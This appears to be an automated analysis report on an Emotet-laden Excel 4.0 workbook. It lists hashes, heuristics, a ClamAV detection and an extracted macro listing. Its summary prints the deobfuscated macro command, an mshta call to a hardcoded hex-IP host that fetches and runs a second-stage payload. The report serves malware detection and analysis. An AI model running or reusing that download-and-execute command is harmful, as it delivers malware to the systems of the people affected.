Emotet Office (OLE) / .XLSX malware analysis — malicious · 2dc2a41823b6a6c9

MALICIOUS

Office (OLE) / .XLSX

128.5 KB Created: 2022-01-17 21:27:03 Authoring application: Microsoft Excel

MD5: cb138d15b0342e3f812e2d54b7e258a7 SHA-1: 59e9ae8621529ddd654f46c52d1045cd6d1cdc1d SHA-256: 2dc2a41823b6a6c96530697177ee9be6343c4d95f4a71ae29bf678fddce82bb3

140 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK

T1059.005 Service Execution: Visual Basic T1204.002 Malicious Link: Malicious File

The critical heuristics indicate the presence of an Excel 4.0 macro with an Auto_Open entry, and ClamAV identifies it as Emotet. The extracted macro script explicitly defines a string that reconstructs to 'cmd /c m^sh^t^a h^tt^p^:/^/0xc12a24f5/c^c.h^tm^l', which is designed to download a second-stage payload from a hardcoded URL. This action is consistent with Emotet's typical delivery mechanism.

Heuristics 3

Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME

oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
ClamAV: Doc.Downloader.EmotetExcel01220-9936774-0 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Doc.Downloader.EmotetExcel01220-9936774-0
Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN

Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`xlm_macros.txt` `a0fd1b709c0182b7bfad87bd5382ad41592e9af0d0093f5e68d1ff145f18d235`	xlm-macro	oletools.olevba.extract_all_macros (XLM macro listing)	653 bytes

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